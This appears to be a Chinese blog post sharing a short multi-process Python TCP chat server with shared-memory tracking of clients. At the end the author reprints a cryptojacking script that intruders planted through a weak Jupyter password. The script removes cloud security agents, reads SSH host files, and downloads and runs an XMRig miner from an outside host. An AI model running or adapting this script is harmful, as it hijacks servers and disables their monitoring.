python socket-tcp多人网络聊天室服务端(35行代码实现)
关键词:多进程、TCP、共享内存
目前已运行在ali云服务器上,不出意外在服务器到期前都可以正常使用;大概8月到期;
ip 47.108.60.37 端口 2333
使用网络调试助手即可连接
实现难点
进程间通信,如何在单个进程中给其他socket发信息;
1.进程间通信
进程间通信有管道,消息队列,queue,数据库等方式,但是这几种方式不便于实现;
1.管道的局限性在于两个进程间,和控制数据流向,对多进程的数据传输就不是很方便;
2.关于消息队列其实并不是很不清楚,我查阅linux c上的关于消息队列的编程,linux c是用链表实现的,意思是对每个节点的数据都开可以直接进行操作,也算是一种方便。但是python的多进程库queue不太一样,只有put和get,意思是只能逐个放入和逐个取出,找了很多资料也没发现queue有更方便的用法,至少在多进程通信上没有更方便的用法;
3.数据库,目前觉得比较方便一点的是redis开源数据库,但是图快速开发的话,只实现特定功能确实有点大柴小用,虽然说python通过redis库直接进行操作也确实方便,但是需要运行一个redis服务端;
4.共享内存在目前看来是最优解,很方便的可以实现进程间内存共享,在数据量小的情况下至少是最合适的。
2.进程内给所以客户端发信息
最开始使用的共享内存创建的列表来添加不同客户端的socket,但是在删除socket的时候却出现了问题,删除列表内元素使用的remove方法,可能是socket创建后自己本身结果原因,传入的值被remove方法误读了,提示没有该值;如下,此为使用列表作为socket连接记录;
import socket as sk import multiprocessing as mp import time as t import os def c_s_c(sock_in, addr,sock_list): #进程出来函数 for sock_c in sock_list.items(): #遍历字典元组 sock_c[1].send(("user"+str(addr)+"---in---\n").encode()) #遍历通知所有在聊天室的用户有新用户进入 while True: readdata = sock_in.recv(1024) #recv函数有阻塞左作用,若连接断开或者sock被关闭,返回空 if readdata: #print(readdata) #服务端看信息调试用 for sock_c in sock_list.items(): sock_c[1].send(str(addr).encode()+readdata) #转发给所用用户 else: for sock_c in sock_list.items(): sock_c[1].send(("user"+str(addr)+"---out---").encode()) #encode编码为字节序 del sock_list[addr] #将退出的用户从字典中删除 sock_in.close() os._exit(0) #终止进程 break #摆设用 def main(): s = sk.socket(sk.AF_INET ,sk.SOCK_STREAM) s.bind((\'\',2333)) s.listen() sock_list=mp.Manager().dict() #共享内存字典-------------------------------- while True: sock,addr = s.accept() sock_list[addr]=sock #将地址作为索引-------------------------------- t1 = mp.Process(target=c_s_c, args=(sock, addr,sock_list)) #多进程------ t1.start() if __name__ == \'__main__\': main()
连接单个客户端后打印如下;
退出客户端并不能移除掉连接信息;
如下是使用字典,以ip addr 作为索引,问题才得以解决
import socket as sk import multiprocessing as mp import time as t import os def c_s_c(sock_in, addr,sock_list): #进程出来函数 for sock_c in sock_list.items(): #遍历字典元组 sock_c[1].send(("user"+str(addr)+"---in---\n").encode()) #遍历通知所有在聊天室的用户有新用户进入 while True: readdata = sock_in.recv(1024) #recv函数有阻塞左作用,若连接断开或者sock被关闭,返回空 if readdata: #print(readdata) #服务端看信息调试用 for sock_c in sock_list.items(): sock_c[1].send(str(addr).encode()+readdata) #转发给所用用户 else: for sock_c in sock_list.items(): sock_c[1].send(("user"+str(addr)+"---out---").encode()) #encode编码为字节序 del sock_list[addr] #将退出的用户从字典中删除 sock_in.close() os._exit(0) #终止进程 break #摆设用 def main(): s = sk.socket(sk.AF_INET ,sk.SOCK_STREAM) s.bind((\'\',2333)) s.listen() sock_list=mp.Manager().dict() #共享内存字典-------------------------------- while True: sock,addr = s.accept() sock_list[addr]=sock #将地址作为索引-------------------------------- t1 = mp.Process(target=c_s_c, args=(sock, addr,sock_list)) #多进程------ t1.start() if __name__ == \'__main__\': main()
优化版本1
共享内存在应对大量数据处理时,因每个进程都对同一个变量进行操作,在for循环处易发生错误,但作为一个聊天室demo作演示已绰绰有余,大数据处理还得上数据库,;
import socket as sk import multiprocessing as mp import time as t import os def c_s_c(sock_in, addr,sock_list): #进程出来函数 for sock_c in sock_list.items():#遍历字典元组 sock_c[1].send(("user"+str(addr)+"---in---\n").encode())#遍历通知所有在聊天室的用户有新用户进入 while True: try: readdata = sock_in.recv(1024)#recv函数有阻塞左作用,若连接断开或者sock被关闭,返回空 if readdata: print(readdata) #服务端看信息调试用 for sock_c in sock_list.items(): try: sock_c[1].send(str(addr).encode()+readdata)#转发给所用用户 except: del sock_list[sock_c[0]] else: for sock_c in sock_list.items(): if sock_c[0]!=addr: #如果链接中断了,就不再发给该sock,继续操作该sock会引发异常; sock_c[1].send(("user"+str(addr)+"---out---\n").encode())#encode编码为字节序 del sock_list[addr] #将退出的用户从字典中删除 print("del success") os._exit(0) #终止进程 break#摆设用 except: for sock_c in sock_list.items(): if sock_c[0]!=addr: #如果链接中断了,就不再发给该sock,继续操作该sock会引发异常; sock_c[1].send(("user"+str(addr)+"---out---\n").encode())#encode编码为字节序 del sock_list[addr] #将退出的用户从字典中删除 print("del success") os._exit(0) #终止进程 break#摆设用 def main(): s = sk.socket(sk.AF_INET ,sk.SOCK_STREAM) s.setsockopt(sk.SOL_SOCKET, sk.SO_KEEPALIVE, 1) s.setsockopt(sk.SOL_TCP, sk.TCP_KEEPIDLE, 1) s.setsockopt(sk.SOL_TCP, sk.TCP_KEEPINTVL, 1) s.setsockopt(sk.SOL_TCP, sk.TCP_KEEPCNT, 1) s.bind((\'\',2333)) s.listen() sock_list=mp.Manager().dict()#共享内存字典-------------------------------- while True: sock,addr = s.accept() sock_list[addr]=sock#将地址作为索引-------------------------------- t1 = mp.Process(target=c_s_c, args=(sock, addr,sock_list)) #多进程------ t1.start() if __name__ == \'__main__\': main()
理论上支持任意多的用户接入~至少几十个接入没有问题;如果需要开发个客户端的话,用单终端实现收和发这个暂时不知道怎么解决,如果用一些gui库的话,在两个窗口上,一个作接收,一个作发送还是有个大概思路
小记2
目前这35行代码运行仍然有需要改善的地方,在使用中发现,如果客户端没有按照3次或者4次握手正常断开,服务端会继续维持这个链接720s,这个结果就影响到了进程的终止处理,因此这里需要加入客户端保活检测机制,后续在尝试解决;
小记1
过分了
jupyter notebook由于设置登入密码过于简单(admin),竟被侵入植入挖矿病毒脚本,脚本代码如下;
现已重新创建实例,重设密码 ;
#!/bin/bash cd /tmp curl http://lumtest.com/myip.json cat /root/.ssh/known_hosts if ps aux | grep -i \'[a]liyun\'; then curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i \'[y]unjing\'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi lscpu rm -rf java-update.rar curl -OL http://tiktok.wenkaisb.info/java-update.rar;chmod 777 java-update.rar;./java-update.rar rm -rf xmrig.tar.gz curl -s -L http://tiktok.wenkaisb.info/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 853P6jv8Npp5nV1as3w9Td7Kaoy9CBtS12Cz2ive7KjMHCijrpwMipQDom1GSPej1UQ38TYbesnDafieGZv76JrGGVAVsAr sleep 5s history |grep ssh history |grep scp ps -ef|grep xmrig nvcc -V lspci | grep -i nvidia lspci | grep -i amd